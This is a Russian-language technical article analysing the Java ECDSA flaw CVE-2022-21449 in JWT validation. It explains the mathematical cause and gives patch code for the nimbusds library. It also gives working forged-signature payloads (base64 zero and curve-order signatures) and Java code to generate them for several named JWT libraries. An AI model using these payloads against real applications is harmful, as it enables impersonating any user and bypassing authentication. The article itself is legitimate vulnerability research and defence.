Уязвимость CVE-2022-21449 или “Psychic Signatures”, которая была обнаружена в Java 15-18, позволяет обойти механизм проверки ECDSA-подписи и подделать исходное сообщение. Если приложение использует уязвимую версию Java для валидации JWT-токенов на базе алгоритма ES256, злоумышленник может получить доступ к приложению от лица любого пользователя. Подробное описание причины проблемы можно найти в этой статье, но первоначальный proof of concept не дает полного представления о том, какие приложения подвержены этой уязвимости. Чтобы исправить этот пробел, а также иметь возможность «поиграть» с приложением, которое максимально приближено к реальному, я создал стенд. На нем можно протестировать все возможные векторы атаки.
В чем причина уязвимости
Для начала давайте вспомним, в чем причина уязвимости из оригинальной статьи. ECDSA-подпись состоит из двух значений — r и s. Для проверки подписи приложение должно вычислить уравнение, которое включает r, s, публичный ключ и хэш от сообщения. Если обе стороны уравнения равны, то подпись верна, в противном случае — нет. На одной стороне уравнения — r, на противоположной — произведение r и s. Если r и s равны нулю, то уравнение теряет смысл и будет всегда верно.
0 = 0 ⨉ [a bunch of stuff], где a bunch of stuff — это сообщение и публичный ключ. Поэтому при вычислении важно проверить, что r и s больше или равны 1. Если проверка не сделана, r и s равны нулю и должным образом закодированы, то проверка подписи будет пройдена. Оригинальный код, который демонстрировал уязвимость, использовал формат InP1363Format, но оговаривалось, что DER-формат тоже можно эксплуатировать подобным образом.
На этом этапе я предлагаю остановиться и сделать два важных замечания, которые можно было упустить в процессе поиска причин уязвимости.
Что такое DER-формат
Синтаксис передачи данных, используемый Distinguished Encoding Rules (DER), всегда соответствует правилу: «тег, длина, значение». Формат обычно называют триплетом TLV, в котором каждое поле (T, L или V) содержит один или несколько байтов. В поле «тег» указывается тип отправляемой структуры данных, в поле «длина» — количество байтов передаваемого содержимого, а в поле «значение» — содержимое. Поле «значение» может быть триплетом, если содержит сконструированный тип данных.
Для представления цифровой подписи нам понадобятся следующие типы данных: SEQUENCE («тег» 0x30) и INTEGER («тег» 0x02). Давайте рассмотрим пример подписи [0x30, 0x06, 0x02, 0x01, 0x00, 0x02, 0x01, 0x00]. Данные начинаются с байта 0x30. Это означает, что перед нами последовательность длиной в 6 байт, а «значение» — два целых числа r и s, каждое из которых равно 0x00.
Большое простое число n
Национальный институт стандартов и технологий (NIST) рекомендует 15 эллиптических кривых. Для случайных эллиптических кривых рекомендованы: Curve P-192, Curve P-224, Curve P-256, Curve P-384, Curve P-521.
Нас интересует простое число (r): например, для кривой P-256 оно равно:
Все вычисления выполняются по модулю данного простого числа n, поэтому так важно, чтобы r и s не были равны n. В противном случае n = 0 (mod n). Для вычисления подписи это будет иметь такой же эффект, как r и s = 0.
Эксплуатация уязвимости
На данный момент существует несколько эксплоитов для уязвимости, но их объединяет Java-библиотека Java JWT — JSON Web Token for Java and Android. Ключевая особенность этой библиотеки заключается в том, что в ней используется DER-формат подписи, а не прямая конкатенация r и s в подписи.
Эксплоит для CVE-2022-21449 в DER-формате подписи — MAYCAQACAQA=
.
Это можно декодировать в:
$ echo -ne "MAYCAQACAQA=" | base64 -d | openssl asn1parse -inform der
0:d=0 hl=2 l= 6 cons: SEQUENCE
2:d=1 hl=2 l= 1 prim: INTEGER :00
5:d=1 hl=2 l= 1 prim: INTEGER :00
Более подробно можно об этом прочитать в статьях на OWASP и попробовать тестовое приложение от DataDog.
У этого эксплоита есть существенный недостаток: он узкоспециализированный и не подходит для большинства других JWT-библиотек. Поэтому я хотел рассказать о том, каким еще способом можно решить эту задачу. Для примера мы будем использовать Google IAP, авторизация которого полностью построена на JWT-токенах с использованием алгоритма ES256, а ключи Key ID доступны публично.
Библиотека com.google.auth.oauth2
Начнем с библиотеки com.google.auth.oauth2. Для проверки цифровой подписи в документации предлагается использовать класс com.google.auth.oauth2.TokenVerifier. Если пойти по пути наименьшего сопротивления и взять готовый эксплоит, то мы обнаружим, что подпись не проходит проверку длины: signature.length == 64 DerEncoder.encode. Это происходит, потому что Google ожидает, что значения r и s будут просто сконкатенированы, а дальнейшее кодирование выполнит библиотека. Поэтому нам нужно просто сгенерировать два массива длиной в 32 байта, инициализированных 0 для r и s соответственно, и передать приложению.
Предварительно необходимо закодировать Base64: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
У этого подхода есть существенный недостаток — использование 0 для r и s. Чтобы разобраться, почему использование нуля — это недостаток, рассмотрим вторую библиотеку — com.nimbusds.
Библиотека com.nimbusds
В библиотеке com.nimbusds.jose реализованы собственные проверки для предотвращения схожих атак, поэтому в нашем примере мы будем рассматривать версию до патча 9.22.
Библиотека nimbusds (как и Google) ожидает, что цифровая подпись будет представлена в виде конкатенации чисел r и s, а значит можно просто взять готовое сообщение: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Но в этом случае приложение вылетит с неожиданной ошибкой — om.nimbusds.jose.JOSEException: Index 64 out of bounds for length 64
. Это происходит из-за того, что в алгоритме transcodeSignatureToDER существует ошибка, которая не позволяет корректно обрабатывать 0. Однако алгоритм можно просто «поломать» при помощи отрицательного числа: например, -1. В таком случае подпись будет преобразована в нужный DER-формат — [0x30, 0x06, 0x02, 0x01, 0x00, 0x02, 0x01, 0x00]. Этот эксплоит не будет работать при наличии проверок на длину подписи, которая была добавлена в версии 9.4.2.
Выходит, что библиотека com.nimbusds.jose неуязвима из-за ошибки. Secure by mistake? На самом деле нет, нам просто необходимо вспомнить, что n по модулю n равно нулю. Мы можем улучшить эксплоит, присвоив r и s значение простого числа n для соответствующей эллиптической кривой. Для P-256 — это 115792089210356248762697446949407573529996955224135760342422259061068512044369
.
Соответствующим образом генерируем нашу подпись:
var keys = KeyPairGenerator.getInstance("EC").generateKeyPair();
ECPrivateKey privateKey = (ECPrivateKey) keys.getPrivate();
var genPrimeN = privateKey.getParams().getOrder();
var doublePrimeSignature = new byte[64];
var xPart = genPrimeN.toByteArray();
var yPart = genPrimeN.toByteArray();
System.arraycopy(xPart, 1, doublePrimeSignature, 0, 32);
System.arraycopy(yPart, 1, doublePrimeSignature, 32, 32);
В итоге мы получим:
Или в Base64: _____wAAAAD__________7zm-q2nF56E87nKwvxjJVH_____AAAAAP__________vOb6racXnoTzucrC_GMlUQ
Библиотека com.nimbusds.jose используется во многих проектах, и этот эксплоит будет работать во многих фреймворках: например, в Spring-реализации IAP.
Другие библиотеки
Библиотеки com.auth0 java-jwt org.bitbucket.b_c jose4j по аналогии с com.nimbusds «падают» с ошибкой Index 64 out of bounds for length 64 при использовании подписи A…AAA.
Библиотеки java-jwt и jose4j реализуют похожий алгоритм. Есть только одно исключение: в jose4j проверки на длину алгоритма были добавлены только после апреля 2022-го года, поэтому эксплоит с отрицательной цифровой подписью будет работать в версиях до 0.7.11.
Что получилось в итоге:
Библиотека io.jsonwebtoken / jjwt-root использует другой формат подписи, но все выше описанные вектора будут работать. Для ее эксплуатации необходимо использовать кодирование DER : MAYCAQACAQA=.
Патч
Библиотека com.google.auth.oauth2 не реализует дополнительных проверок, чтобы обезопасить от таких атак (на момент написания статьи). Исправление для com.nimbusds.jose доступно в версии 9.22, com.auth0 java-jwt - 3.19.2, а org.bitbucket.b_c jose4j 0.7.12 Это касается версии Java 15, 16, 17, и 18.
Пример патча для com.nimbusds.jose:
// Разделим массив с подпиьсю пополам
final int valueLength = signatureLength / 2;
// Извлечем R
final byte[] rBytes = ByteUtils.subArray(jwsSignature, 0, valueLength);
final BigInteger rValue = new BigInteger(1, rBytes);
// Извлечем S
final byte[] sBytes = ByteUtils.subArray(jwsSignature, valueLength, valueLength);
final BigInteger sValue = new BigInteger(1, sBytes);
// Банальная проверка что R и S не равны 0
if (sValue.equals(BigInteger.ZERO) || rValue.equals(BigInteger.ZERO)) {
throw new JOSEException("S and R must not be 0");
}
final BigInteger N = ecParameterSpec.getOrder();
// R и S должны быть не больше чем простое число N для нашей кривой
if (N.compareTo(rValue) < 1 || N.compareTo(sValue) < 1) {
throw new JOSEException("S and R must not exceed N");
}
// Дополнительные проверки
if (rValue.mod(N).equals(BigInteger.ZERO) || sValue.mod(N).equals(BigInteger.ZERO)) {
throw new JOSEException("R or S mod N != 0 check failed");
}
// Подпись корректна и можно продолжать
Заключение
Psychic Signatures — идеальный пример того, насколько тяжело оценить риск одной конкретной уязвимости. Кусочки информации разбросаны по плохо индексируемым источникам информации: блоги, Twitter, отдельные патчи для каждой библиотеки.
Если вы хотите самостоятельно протестировать все уязвимости, вот ссылка на репозиторий с тестовым приложением.